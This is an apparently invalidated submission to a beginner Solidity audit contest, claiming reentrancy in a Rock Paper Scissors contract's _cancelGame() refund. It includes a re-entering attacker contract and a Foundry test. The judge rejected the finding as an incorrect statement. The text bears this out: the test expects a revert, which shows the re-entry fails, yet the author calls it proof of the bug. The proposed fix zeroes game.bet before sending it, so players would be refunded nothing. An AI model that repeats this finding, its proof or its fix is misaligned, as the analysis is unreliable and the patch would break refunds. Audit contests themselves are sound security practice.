Rock Paper Scissors
First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Invalid

Reentrancy in _cancelGame() Function

bochi

Summary

The RockPaperScissors::cancelGame() internal function is vulnerable to a reentrancy attack due to the use of low-level .call{value: ...}("") to refund ETH before updating all critical state or applying reentrancy protections.

Vulnerability Details

The following lines in the code are vulnerable:

// Refund ETH to players
if (game.bet > 0) {
@> (bool successA, ) = game.playerA.call{value: game.bet}(""); // audit possible reentrancy
require(successA, "Transfer to player A failed");
​
if (game.playerB != address(0)) {
@> (bool successB, ) = game.playerB.call{value: game.bet}(""); // audit possible reentrancy
require(successB, "Transfer to player B failed");
}
}

  • The contract sends ETH to both players using low-level call before completing the full game termination flow.

  • This gives a malicious player/contract (attacker) a chance to re-enter the same function again and again get a refund for the ETH bet.

Impact

Malicious players could exploit reentrancy to re-enter _cancelGame() multiple times and thus corrupt game state, claim extra tokens or ETH, or manipulate game logic.

Tools Used

Manual review

Proof Of Code

Paste the following contract code in your RockPaperScissos.t.sol file:

contract ReentrantPlayer {
RockPaperScissors public game;
uint256 public gameId;
bool public attacked;
​
constructor(address _game) {
game = RockPaperScissors(_game);
}
​
// Reenter when refunded ETH
receive() external payable {
if (!attacked) {
attacked = true;
game.timeoutReveal(gameId); // Reentrancy attempt
}
}
​
function createGame() external payable {
gameId = game.createGameWithEth{value: msg.value}(3, 10 minutes);
}
​
function triggerCancel() external {
game.timeoutReveal(gameId);
}
}

Now add the following in your test cases:

function testReentrancyOnCancelGame() public {
// Deploy attacker
ReentrantPlayer attacker = new ReentrantPlayer(address(game));
vm.deal(address(attacker), 1 ether);
​
// Start prank and create game
vm.startPrank(address(attacker));
attacker.createGame{value: BET_AMOUNT}();
vm.warp(block.timestamp + 1 hours);
vm.expectRevert();
attacker.triggerCancel();
vm.stopPrank();
}

This will pass and thus verify the reentrancy issue.

Recommendations

  • Apply the checks-effects-interactions pattern:

    • Update all game state before making external calls.

  • Or use OpenZeppelin's ReentrancyGuard and mark all external-entry points as nonReentrant.

    game.state = GameState.Cancelled;
    ​
    // Refund ETH to players
    if (game.bet > 0) {
    + game.bet = 0
    (bool successA, ) = game.playerA.call{value: game.bet}(""); // audit possible reentrancy
    require(successA, "Transfer to player A failed");
    ​
    if (game.playerB != address(0)) {
    (bool successB, ) = game.playerB.call{value: game.bet}(""); // audit possible reentrancy
    require(successB, "Transfer to player B failed");
    }
    }
Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
m3dython Lead Judge about 2 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.